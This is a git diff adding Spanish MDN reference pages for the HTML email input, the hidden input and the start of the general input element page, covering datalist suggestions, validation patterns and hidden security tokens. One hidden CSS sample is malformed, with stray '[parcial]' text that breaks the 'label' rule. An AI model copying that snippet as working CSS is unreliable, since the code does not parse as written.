+<p>{{EmbedLiveSample("Longitud_del_valor_del_elemento", 600, 40) }}</p>
+
+<h3 id="Proporcionar_opciones_predeterminadas">Proporcionar opciones predeterminadas</h3>
+
+<p>Como siempre, puedes proporcionar un valor predeterminado para un cuadro de entrada de tipo <code>email</code> configurando su atributo {{HTMLAttrxRef("value", "input")}}:</p>
+
+<div id="Default_value">
+<pre class="brush: html notranslate">&lt;input type="email" value="usuario@ejemplo.com"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Default_value", 600, 40)}}</p>
+
+<h4 id="Ofreciendo_valores_sugeridos">Ofreciendo valores sugeridos</h4>
+
+<p>Yendo un paso más allá, puedes proporcionar una lista de opciones predeterminadas entre las que el usuario puede seleccionar especificando el atributo {{HTMLAttrxRef("list", "input")}}. Esto no limita al usuario a esas opciones, pero le permite seleccionar rápidamente las direcciones de correoᵉ de uso común. Esto también ofrece sugerencias para {{HTMLAttrxRef("autocomplete", "input")}}. El atributo {{HTMLAttrDef("list")}} especifica el ID de un {{HTMLElement("datalist")}}, que a su vez contiene un elemento {{HTMLElement("option")}} por valor sugerido; El valor de cada opción es el valor sugerido correspondiente para el cuadro de entrada de correoᵉ.</p>
+
+<pre class="brush: html notranslate">&lt;input type="email" size="40" list="defaultEmails"&gt;
+
+&lt;datalist id="defaultEmails"&gt;
+  &lt;option value="jbond007@mi6.defence.gov.uk"&gt;
+  &lt;option value="jbourne@unknown.net"&gt;
+  &lt;option value="nfury@shield.org"&gt;
+  &lt;option value="tony@starkindustries.com"&gt;
+  &lt;option value="hulk@grrrrrrrr.arg"&gt;
+&lt;/datalist&gt;</pre>
+
+<p>{{EmbedLiveSample("Ofreciendo_valores_sugeridos", 600, 40)}}</p>
+
+<p>Con el elemento {{HTMLElement("datalist")}} y sus {{HTMLElement("option")}}es en su lugar, el navegador ofrecerá los valores especificados como valores potenciales para la dirección de correoᵉ; normalmente se presenta como un menú emergente o desplegable que contiene las sugerencias. Si bien la experiencia del usuario específico puede variar de un navegador a otro, normalmente al hacer clic en el cuadro de edición se muestra un menú desplegable con las direcciones de correoᵉ sugeridas. Luego, a medida que el usuario escribe, la lista se filtra para mostrar solo los valores coincidentes. Cada carácter escrito reduce la lista hasta que el usuario realiza una selección o escribe un valor personalizado.</p>
+
+<p><img alt="Animación: usa la entrada del teclado para filtrar la lista de direcciones de correo electrónico sugeridas" src="https://mdn.mozillademos.org/files/14831/html-input-email1.gif" style="border-style: solid; border-width: 1px; height: 168px; width: 352px;"></p>
+
+<h2 id="Validación">Validación</h2>
+
+<p>Hay dos niveles de validación de contenido disponibles para las entradas de {{HTMLAttrDef("email")}}. Primero, está el nivel de validación estándar que se ofrece a todos los {{HTMLElement("input")}}s, que automáticamente asegura que el contenido cumple con los requisitos para ser una dirección de correoᵉ válida. Pero también existe la opción de agregar filtros adicionales para garantizar que se satisfagan tus propias necesidades especializadas, si las tienes.</p>
+
+<div class="warning">
+<p><strong>Importante</strong>: La validación del formulario HTML <em>no</em> sustituye a los scripts que garantizan que los datos ingresados tengan el formato adecuado. Es demasiado fácil para alguien realizar ajustes en el HTML que le permitan omitir la validación o eliminarla por completo. También es posible que alguien simplemente omita tu HTML por completo y envíe los datos directamente a tu servidor. Si tu código del lado del servidor no valida los datos que recibe, podría ocurrir un desastre cuando se ingresen en tu base de datos datos con formato incorrecto (o datos que son demasiado grandes, son del tipo incorrecto, etc.).</p>
+</div>
+
+<h3 id="Validación_básica">Validación básica</h3>
+
+<p>Los navegadores que admiten el tipo de entrada {{HTMLAttrDef("email")}} automáticamente proporcionan una validación para garantizar que solo se introduzca en el cuadro de entrada el texto que coincida con el formato estándar para las direcciones de correoᵉ de Internet. Los navegadores que implementan la especificación deben utilizar un algoritmo equivalente a la siguiente expresión regular:</p>
+
+<pre class="brush: js notranslate">/^[a-zA-Z0-9.!#$%&amp;'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}
+  [a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/
+</pre>
+
+<p>Para obtener más información sobre cómo funciona la validación de formularios y cómo aprovechar las propiedades de CSS {{CSSxRef(":valid")}} e {{CSSxRef(":invalid")}} para estilizar la entrada en función de si el el valor actual es válido, consulta {{web.link("/es/docs/Learn/HTML/Forms/Form_validation", "Validación de datos de formulario")}}.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Existen problemas de especificación conocidos relacionados con los nombres de dominio internacionales y la validación de direcciones de correo electrónico en HTML. Consulta el <a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=15489">error 15489 en W3C</a> para obtener más detalles.</p>
+</div>
+
+<h3 id="Patrón_de_validación">Patrón de validación</h3>
+
+<p>Si necesitas restringir la dirección de correo electrónico ingresada más allá de "cualquier cadena que parezca una dirección de correo electrónico", puedes usar el atributo {{HTMLAttrxRef("pattern", "input")}} para especificar una {{Glossary("expresión regular")}} con la cual el valor debe coincidir para que sea válido. Si se especifica el atributo {{HTMLAttrxRef("multiple", "input")}}, cada elemento individual en la lista de valores delimitados por comas debe coincidir con la {{Glossary("expresión regular")}}.</p>
+
+<p>Por ejemplo, supón que estás creando una página para los empleados de "Best Startup Ever, Inc". lo que les permitirá ponerse en contacto con su departamento de TI para obtener ayuda. En nuestro formulario simplificado, el usuario debe ingresar su dirección de correoᵉ y un mensaje que describa el problema con el que necesita ayuda. Queremos asegurarnos de que el usuario no solo proporcione una dirección de correoᵉ válida, sino que, por motivos de seguridad, requerimos que la dirección sea una dirección de correo electrónico corporativa interna.</p>
+
+<p>Dado que las entradas de tipo {{HTMLAttrDef("email")}} se comprueban con la validación de la dirección de correoᵉ estándar <em>y</em> el {{HTMLAttrxRef("pattern", "input")}} especificado, se puede implementar así de fácil. Observa cómo:</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">body {
+  font: 16px sans-serif;
+}
+
+.emailBox {
+  padding-bottom: 20px;
+}
+
+.messageBox {
+  padding-bottom: 20px;
+}
+
+[parcial]label :
+  [parcial]line-height: 1.5;
+}
+
+label::after {
+  content: ":";
+}</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+ &lt;div class="emailBox"&gt;
+   &lt;label for="emailAddress"&gt;Tu dirección de correoᵉ&lt;/label&gt;&lt;br&gt;
+   &lt;input id="emailAddress" type="email" size="64" maxLength="64" required
+          placeholder="nombreusuario@beststartupever.com" pattern=".+@beststartupever.com"
+          title="Por favor, solo proporciona una dirección de correoᵉ corporativa que te haya proporcionado Best Startup Ever"&gt;
+ &lt;/div&gt;
+
+ &lt;div class="messageBox"&gt;
+   &lt;label for="message"&gt;Solicitud&lt;/label&gt;&lt;br&gt;
+   &lt;textarea id="message" cols="80" rows="8" required
+             placeholder="Mis zapatos están demasiado apretados y he olvidado cómo bailar."&gt;&lt;/textarea&gt;
+ &lt;/div&gt;
+  &lt;input type="submit" value="Envía solicitud"&gt;
+&lt;/form&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Patrón_de_validación", 700, 275)}}</p>
+
+<p>El {{HTMLElement("form")}} contiene un {{HTMLElement("input")}} de tipo {{HTMLAttrxRef("email", "input")}} para la dirección de correoᵉ del usuario, un {{HTMLElement("textarea")}} para ingresar su mensaje y un {{HTMLElement("input")}} de tipo {{web.link("/es/docs/Web/HTML/Element/input/submit", "submit")}}, que crea un botón para enviar el formulario. Cada cuadro de entrada de texto tiene una {{HTMLElement("label")}} asociada para que el usuario sepa lo que se espera de ellos.</p>
+
+<p>Échale un vistazo más de cerca al cuadro de entrada de la dirección de correoᵉ. Sus atributos {{HTMLAttrxRef("size", "input")}} y {{HTMLAttrxRef("maxlength", "input")}} se establecen en 64 para mostrar espacio para 64 caracteres en direcciones de correoᵉ y limitar la cantidad de caracteres ingresados realmente a un máximo de 64. Se especifica el atributo {{HTMLAttrxRef("required", "input")}}, lo cual hace obligatorio que se proporcione una dirección de correoᵉ válida.</p>
+
+<p>Se proporciona un {{HTMLAttrxRef("placeholder", "input")}} apropiado, <code>nombreusuario@beststartupever.com</code>, para demostrar lo que constituye una entrada válida. Esta cadena demuestra que se debe ingresar una dirección de correoᵉ y sugiere que debe ser una cuenta corporativa de "beststartupever.com". Esto se suma al hecho de que el uso del tipo {{HTMLAttrDef("email")}} validará el texto para garantizar que tenga el formato de una dirección de correoᵉ. Si el texto en el cuadro de entrada no es una dirección de correoᵉ, recibirá un mensaje de error similar a este:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14855/enter-valid-email-address.png" style="height: 125px; width: 530px;"></p>
+
+<p>Si dejas las cosas así, al menos estarías validando direcciones de correoᵉ legítimas. Pero quieres ir un paso más allá: quieres asegurarte de que la dirección de correoᵉ tenga el formato "<em>nombreusuario</em>@beststartupever.com". Aquí es donde usarás el {{HTMLAttrxRef("pattern", "input")}}. Establece el {{HTMLAttrDef("pattern")}} en <code>.+@beststartupever.com</code>. Esta simple expresión regular solicita una cadena que consta de al menos un carácter de cualquier tipo, luego una "@" seguida por el nombre de dominio "beststartupever.com".</p>
+
+<p>Ten en cuenta que esto ni siquiera se acerca a un filtro adecuado para direcciones de correo electrónico válidas; permitiría cosas como "@ beststartupever.com" (tenga en cuenta el espacio inicial) o "@@ beststartupever.com", ninguna de las cuales es válida. Sin embargo, el navegador ejecuta tanto el filtro de dirección de correoᵉ estándar <em>como</em> nuestro patrón personalizado contra el texto especificado. Como resultado, terminamos con una validación que dice "asegúrate de que se asemeje a una dirección de correoᵉ válida, y si lo es, asegúrate de que también sea una dirección beststartupever.com".</p>
+
+<p>Es recomendable utilizar el atributo {{HTMLAttrxRef("title")}} junto con {{HTMLAttrDef("pattern")}}. Si lo haces, el {{HTMLAttrDef("title")}} <em>debe</em> describir el patrón. Es decir, debe explicar qué formato deben adoptar los datos, en lugar de cualquier otra información. Esto se debe a que el {{HTMLAttrDef("title")}} se puede mostrar o pronunciar como parte de un mensaje de error de validación. Por ejemplo, el navegador puede presentar el mensaje "El texto ingresado no coincide con el patrón requerido". seguido de su {{HTMLAttrDef("title")}} especificado. Si tu {{HTMLAttrDef("title")}} es algo así como "Dirección de correoᵉ", el resultado sería el mensaje "El texto ingresado no coincide con el patrón requerido. Dirección de correoᵉ", no es muy buena.</p>
+
+<p>Es por eso que, en cambio, especificamos la cadena "Por favor, proporciona solo una dirección de correoᵉ corporativo de Best Startup Ever", Al hacerlo, el mensaje de error completo resultante podría ser algo como "El texto ingresado no coincide con el patrón requerido. Proporciona solo una dirección de correoᵉ corporativo de Best Startup Ever."</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14853/email-pattern-match-bad.png" style="height: 140px; width: 536px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si tienes problemas al escribir tus expresiones regulares de validación y no funcionan correctamente, consulta la consola de tu navegador; posiblemente haya útiles mensajes de error que te ayudarán a resolver el problema.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Aquí tenemos una entrada de correoᵉ con el ID <code>emailAddress</code> que puede tener un máximo de 256 caracteres. El cuadro de entrada en sí mismo, físicamente tiene 64 caracteres de ancho y muestra el texto <code>usuario@ejemplo.gov</code> como marcador de posición cada vez que el campo está vacío. Además, al utilizar el atributo {{web.link("/es/docs/Web/HTML/Attributes/multiple", "multiple")}}, el cuadro se configura para permitir al usuario ingresar cero o más direcciones de correoᵉ, separadas por comas, como se describe en {{anch("Permitir varias direcciones de correoᵉ")}}. Como toque final, el atributo {{web.link("/es/docs/Web/HTML/Attributes/list", "list")}} contiene el ID de un {{HTMLElement("datalist")}} cuyas {{HTMLElement("option")}}es especifican un conjunto de valores sugeridos que el usuario puede elegir.</p>
+
+<p>Como toque adicional, el elemento {{HTMLElement("label")}} se utiliza para establecer una etiqueta para el cuadro de entrada de Correoᵉ, con su atributo {{HTMLAttrxRef("for", "label")}} que hace referencia al ID <code>emailAddress</code> del elemento {{HTMLElement("input")}}. Al asociar los dos elementos de esta manera, entonces al hacer clic en la etiqueta se enfocará el elemento de entrada.</p>
+
+<pre class="brush: html notranslate">&lt;label for="emailAddress"&gt;Correoᵉ&lt;/label&gt;&lt;br/&gt;
+&lt;input id="emailAddress" type="email" placeholder="usuario@ejemplo.gov"
+       list="defaultEmails" size="64" maxlength="256" multiple&gt;
+
+&lt;datalist id="defaultEmails"&gt;
+  &lt;option value="jbond007@mi6.defence.gov.uk"&gt;
+  &lt;option value="jbourne@unknown.net"&gt;
+  &lt;option value="nfury@shield.org"&gt;
+  &lt;option value="tony@starkindustries.com"&gt;
+  &lt;option value="hulk@grrrrrrrr.arg"&gt;
+&lt;/datalist&gt;</pre>
+
+<p>{{EmbedLiveSample('Ejemplos', 600, 50)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#e-mail-state-(type=email)', '&lt;input type="email"&gt;')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#email-state-typeemail', '&lt;input type="email"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("html.elements.input.input-email")}}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/HTML/Forms", "Guía de formularios HTML")}}</li>
+ <li>{{HTMLElement("input")}}</li>
+ <li><code><a href="/es/docs/Web/HTML/Element/input/tel">&lt;input type="tel"&gt;</a></code></li>
+ <li><code><a href="/es/docs/Web/HTML/Element/input/url">&lt;input type="url"&gt;</a></code></li>
+ <li>Atributos:
+  <ul>
+   <li>{{web.link("/es/docs/Web/HTML/Attributes/list", "list")}}</li>
+   <li>{{web.link("/es/docs/Web/HTML/Attributes/minlength", "minlength")}}</li>
+   <li>{{web.link("/es/docs/Web/HTML/Attributes/maxlength", "maxlength")}}</li>
+   <li>{{web.link("/es/docs/Web/HTML/Attributes/multiple", "multiple")}}</li>
+   <li>{{web.link("/es/docs/Web/HTML/Attributes/pattern", "pattern")}}</li>
+   <li>{{web.link("/es/docs/Web/HTML/Attributes/placeholder", "placeholder")}}</li>
+   <li>{{web.link("/es/docs/Web/HTML/Attributes/readonly", "readonly")}}</li>
+   <li>{{web.link("/es/docs/Web/HTML/Attributes/size", "size")}}</li>
+  </ul>
+ </li>
+ <li>{{web.link("/es/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets", "Compatibilidad de propiedades CSS")}}</li>
+</ul>
diff --git a/files/es/web/html/elemento/input/hidden/index.html b/files/es/web/html/elemento/input/hidden/index.html
new file mode 100644
index 0000000000..b7c1c42126
--- /dev/null
+++ b/files/es/web/html/elemento/input/hidden/index.html
@@ -0,0 +1,201 @@
+---
+title: <input type="hidden">
+slug: Web/HTML/Elemento/input/hidden
+tags:
+  - Element
+  - Forms
+  - HTML
+  - HTML Form
+  - Input
+  - Tipos de Input
+  - formulários
+  - hidden
+translation_of: Web/HTML/Element/input/hidden
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">{{HTMLElement("input")}} elements of type <code><strong>"hidden"</strong></code> let web developers include data that cannot be seen or modified by users when a form is submitted. For example, the ID of the content that is currently being ordered or edited, or a unique security token. Hidden inputs are completely invisible in the rendered page, and there is no way to make it visible in the page's content.</span></p>
+
+<div class="note">
+<p><strong>Note</strong>: Hay un ejemplo en vivo debajo de las siguientes líneas de código — si esta funcionando correctamente no debería ver algo.</p>
+</div>
+
+<div id="Basic_example">
+<pre class="brush: html">&lt;input id="prodId" name="prodId" type="hidden" value="xm234jq"&gt;</pre>
+
+<p>{{ EmbedLiveSample('Basic_example', 600, 40) }}</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>{{domxref("DOMString")}} representando el valor de un campo oculto que se espetra pasar al servidor.</td>
+  </tr>
+  <tr>
+   <td><strong>Events</strong></td>
+   <td>Ninguno.</td>
+  </tr>
+  <tr>
+   <td><strong>Supported Common Attributes</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>IDL attributes</strong></td>
+   <td><code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Methods</strong></td>
+   <td>Ninguno.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Valor_(Value)">Valor (Value)</h2>
+
+<p>El atributo {{htmlattrxref("value", "input")}} del elemento {{HTMLElement("input")}}  tiene un {{domxref("DOMString")}} que contiene la información oculta que se desea incluir en el formulario cuando sea remitido al servidor. Específicamente no puede ser editado por el usuario o mostrado a éste por medio la interfaz de usuario, aunque puede ser editado por medio de las herramientas para desarrolladores del navegador.</p>
+
+<div class="warning">
+<p>Mientras que el valor no es desplegado al usuario en el contenido de la página, si es visible —y puede ser modificado—usando las herramientas para desarrolladores de cualquier navegador o la funcionalidad "Ver código fuente" (View Source). No confíe en <code>hidden</code> inputs como una forma de seguridad.</p>
+</div>
+
+<h2 id="Utilizando_hidden_inputs">Utilizando hidden inputs</h2>
+
+<p>Como se menciono anteriormente, las hidden inputs pueden ser utilizadas donde sea que se quiera incluir información del formulario que el usuario no pueda ver o modificar cuando sea enviado al servidor. Se mostrarán algunos ejemplos que ilustran su uso.</p>
+
+<h3 id="Seguimiento_de_contenido_editado">Seguimiento de contenido editado</h3>
+
+<p>Uno de los usos más comunes para los hidden inputs es mantener un seguimiento de que registros de la base de datos necesitan actualizarse cuando un formulario de actualización es remitido. Un flujo de trabajo tipico se ve como:</p>
+
+<ol>
+ <li>El usuario decide editar algún contenido sobre el cual tiene control, como una entrada de blog o la entrada de un producto. Comienza cuando se presiona el botón de editar.</li>
+ <li>El contenido ha ser editado es tomado de la base de datos y cargados en un formulario HTML para permitir al usuario hacer cambios.</li>
+ <li>Después de editar, el usuario remite el formulario y la información actualizada es envíada de vuelta al servidor para ser actualizada en el servidor.</li>
+</ol>
+
+<p>La idea es que durante el paso 2, el ID del registro que se actualiza se mantenga en un hidden input. Cuando se envía el formulario en el paso 3, el ID se envía automáticamente al servidor con el contenido del registro. El ID permite que el componente de servidor del sitio sepa exactamente qué registro necesita ser actualizado con los datos enviados.</p>
+
+<p>Puede ver un ejemplo completo de como podría ser en la sección {{anch("Examples")}} de abajo.</p>
+
+<h3 id="Mejorando_la_seguridad_del_sitio_web">Mejorando la seguridad del sitio web</h3>
+
+<p>Hidden inputs también son usados para almacenar y enviar token de seguirdad o secretos (<em>secrets)</em>, con el propósito de mejorar la seguridad del sitio web. La idea básica es que si un usuario esta rellenando un formulario con información sensible, como un formulario en un sitio web bancario para transferir dinero a otra cuenta, el secreto que proporciona demostraría que son quienes dicen ser y que estan usando el formulario correcto para enviar la solicitud de transferencia.</p>
+
+<p>Esto evitaría que un usuario malicioso creara un formulario falso, fingiendo ser un banco y enviando el formulario por correo electrónico a usuarios desprevenidos para engañarlos y que transfieran dinero al lugar equivocado. Este tipo de ataque es llamado como <a href="/en-US/docs/Learn/Server-side/First_steps/Website_security#Cross_Site_Request_Forgery_(CSRF)">Cross Site Request Forgery (CSRF)</a>; prácticamente cualquier marco de trabajo que goce de buena reputación utiliza secretos ocultos para evitar tales ataques.</p>
+
+<div class="note">
+<p>Como se menciono anteriormenre, colocando el secreto en un hidden input no lo hace inherentemente seguro. La composición y codificación de la llave haría eso. El valor del hidden input es que mantiene el secreto asociado con la información y automáticamente lo incluye cuando el formulario es enviado al servidor. Se necesita usar secretos bien diseñados para realmente mantener seguro el sitio web.</p>
+</div>
+
+<h2 id="Validación">Validación</h2>
+
+<p>Hidden inputs no participan en la validación de restricciones; no son un valor real que deba ser restringido.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En el código de abajo se muestra como se puede implementar una versión simple de un formulario de actualización descrito anteriomente (ver {{anch("Tracking edited content")}}), utilizando un hidden input para recordar el ID del registro ha ser editado.</p>
+
+<p>El formulario HTML puede verse un como como este:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="title"&gt;Título del artículo:&lt;/label&gt;
+    &lt;input type="text" id="titulo" name="titulo" value="Mi excelente artículo del blog"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="content"&gt;Contenido del artículo:&lt;/label&gt;
+    &lt;textarea id="contenido" name="contenido" cols="60" rows="5"&gt;
+Este es el contenido de mi excelente actículo del blog. ¡Espero lo disfrutes!
+    &lt;/textarea&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button type="submit"&gt;Actualizar artículo&lt;/button&gt;
+  &lt;/div&gt;
+  &lt;input type="hidden" id="acticuloId" name="articuloId" value="34657"&gt;
+&lt;/form&gt;</pre>
+
+<p>Añadiendo también unas líneas simples de CSS:</p>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+form {
+  width: 500px;
+}
+
+div {
+  display: flex;
+  margin-bottom: 10px;
+}
+
+label {
+  flex: 2;
+  line-height: 2;
+  text-align: right;
+  padding-right: 20px;
+}
+
+input, textarea {
+  flex: 7;
+  font-family: sans-serif;
+  font-size: 1.1rem;
+  padding: 5px;
+}
+
+textarea {
+  height: 60px;
+}</pre>
+
+<p>El servidor establecerá el valor del hidden input con el ID <code>"articuloID"</code> al ID del artículo en la base de datos antes de enviar el formulario al navegador del usuario, y se usará esa información cuando el formulario sea devuelto para saber que registro de la base de datos actualizar con la información modificada. No se necesitan scripts en el contenido para manejar esto.</p>
+
+<p>La salida se vería como:</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 200) }}</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Puede encontrar el ejemplo en GitHub (vea el <a href="https://github.com/mdn/learning-area/blob/master/html/forms/hidden-input-example/index.html">código fuente</a>, y también <a href="https://mdn.github.io/learning-area/html/forms/hidden-input-example/index.html">veálo corriendo en vivo</a>).</p>
+</div>
+
+<p>Cuando se envían, los datos del formulario enviados al servidor tendrán un aspecto parecido a este:</p>
+
+<p><code>title=My+excellent+blog+post&amp;content=This+is+the+content+of+my+excellent+blog+post.+I+hope+you+enjoy+it!&amp;postId=34657</code></p>
+
+<p>A pesar de que los hiden input no se pueden ver en absoluto, sus datos se siguen enviando.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#hidden-state-(type=hidden)', '&lt;input type="hidden"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'forms.html#hidden-state-(type=hidden)', '&lt;input type="hidden"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_el_navegador">Compatibilidad con el navegador</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-hidden")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms">HTML forms guide</a></li>
+ <li>{{HTMLElement("input")}} y la interfaz {{domxref("HTMLInputElement")}} en la que se basa</li>
+</ul>
diff --git a/files/es/web/html/elemento/input/index.html b/files/es/web/html/elemento/input/index.html
new file mode 100644
index 0000000000..7af5101141
--- /dev/null
+++ b/files/es/web/html/elemento/input/index.html
@@ -0,0 +1,1529 @@
+---
+title: input
+slug: Web/HTML/Elemento/input
+tags:
+  - Elemento
+  - Etiqueta HTML input
+  - Formularios(2)
+  - HTML
+  - Referencia
+  - Web
+  - formularios html(2)
+translation_of: Web/HTML/Element/input
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p>El elemento HTML <code>&lt;input&gt;</code> se usa para crear controles interactivos para formularios basados en la web con el fin de recibir datos del usuario.<span class="tlid-translation translation" lang="es"><span title="">Hay disponible una amplia variedad de tipos de datos de entrada y widgets de control, que dependen del dispositivo y el agente de usuario (<a href="/en-US/docs/Glossary/user_agent">user agent</a>).El elemento </span></span><code>&lt;input&gt;</code><span class="tlid-translation translation" lang="es"><span title=""> es uno de los más potentes y complejos en todo HTML debido a la gran cantidad de combinaciones de tipos y atributos de entrada.</span></span></p>
+
+<p> </p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de contenido</a></th>
+   <td><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico">Contenido dinámico</a>, enlistado, presentable, reajustable, elemento asociado a formulario, <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_textual_o_estático">contenido textual</a>. Si su atributo {{htmlattrxref("type", "input")}} no es <code>hidden</code>, entonces contenido etiquetable, contenido palpable.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>Ninguno, pues es un {{Glossary("empty element", "elemento vacío")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiqueta</th>
+   <td>Debe tener una etiqueta de apertura y no debe tener etiqueta de cierre.</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos</th>
+   <td>Cualquier elemento que acepte <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_textual_o_estático">contenido textual</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLInputElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los <a href="/es/docs/Web/HTML/Atributos_Globales" rel="internal" title="en/HTML/Global attributes">atributos globales</a>, y los indicados a continuación.</p>
+
+<dl>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>El tipo de control a mostrar. Su valor predeterminado es <code>text</code>, si no se especifica este atributo. Los posibles valores son:
+ <ul>
+  <li><code>button</code>: Botón sin un comportamiento específico.</li>
+  <li><code>checkbox</code>: Casilla de selección. Se debe usar el atributo <strong>value</strong> para definir el valor que se enviará por este elemento. Se usa el atributo <strong>checked</strong> para indicar si el elemento está seleccionado. También se puede usar el atributo <strong>indeterminate</strong> (el cual solo se puede establecer programaticamente) para indicar que la casilla está en un estado indeterminado (en la mayoría de las plataformas, se dibuja una línea horizontal a través de la casilla).</li>
+  <li><code>color</code>: {{HTMLVersionInline("5")}} Control para espicificar un color. Una interfaz de selección de color no requiere más funcionalidad que la de aceptar colores simples como texto (<a href="http://www.w3.org/TR/html5/forms.html#color-state-(type=color)">más información</a>).</li>
+  <li><code>date</code>: {{HTMLVersionInline("5")}} Control para introducir una fecha (año, mes y día, sin tiempo).</li>
+  <li><code>datetime</code>: {{HTMLVersionInline("5")}} {{deprecated_inline}} {{obsolete_inline}} Control para introducir una fecha y hora (horas, minutos, segundos y fracción de segundo), basado en la zona horaria UTC. <strong>Esta característica ha sido <a href="https://github.com/whatwg/html/issues/336">removida de WHATWG HTML.</a></strong></li>
+  <li><code>datetime-local</code>: {{HTMLVersionInline("5")}} Control para introducir fecha y hora, sin zona horaria específica.</li>
+  <li><code>email</code>: {{HTMLVersionInline("5")}} Campo para introducir una dirección de correo electrónico. El valor introducido se valida para que contenga una cadena vacía o una dirección de correo válida antes de enviarse. Las pseudo-clases {{cssxref(":valid")}} y {{cssxref(":invalid")}} son aplicadas segun corresponda.</li>
+  <li><code>file</code>: Control que permite al usuario seleccionar un archivo. Se puede usar el atributo <strong>accept</strong> para definir los tipos de archivo que el control podrá seleccionar.</li>
+  <li><code>hidden</code>: Control que no es mostrado en pantalla, pero cuyo valor es enviado al servidor.</li>
+  <li><code>image</code>: Botón de envío de formulario con gráfico. Se debe usar el atributo <strong>src</strong> para definir el origen de la imagen y el atributo <strong>alt</strong> para definir un texto alternativo. Se puede usar los atributos <strong>height</strong> y <strong>width</strong> para definir el tamaño de la imagen en píxeles.</li>
+  <li><code>month</code>: {{HTMLVersionInline("5")}} Control para introducir un mes y año, sin zona horaria específica.</li>
+  <li><code>number</code>: {{HTMLVersionInline("5")}} Control para introducir un número de punto flotante.</li>
+  <li><code>password</code>: Control de línea simple cuyo valor permanece oculto. Se puede usar el atributo <strong>maxlength</strong> para especificar la longitud máxima del valor que se puede introducir.</li>
+  <li><code>radio</code>: Botón radio. Se debe usar el atributo <strong>value</strong> para definir el valor que se enviará por este elemento. Se usa el atributo <strong>checked</strong> para indicar si el elemento está seleccionado de forma predeterminada. Los botones radio que tengan el mismo valor para su atributo <strong>name</strong> están dentro del mismo "grupo de botones radio". Solo un botón radio dentro de un grupo puede ser seleccionado a la vez.</li>
+  <li><code>range</code>: {{HTMLVersionInline("5")}} Control para introducir un número cuyo valor exacto no es importante. Este control usa los siguientes valores predeterminados si no se especifica cada atributo:
+   <ul>
+    <li><code>min</code>: 0</li>
+    <li><code>max</code>: 100</li>
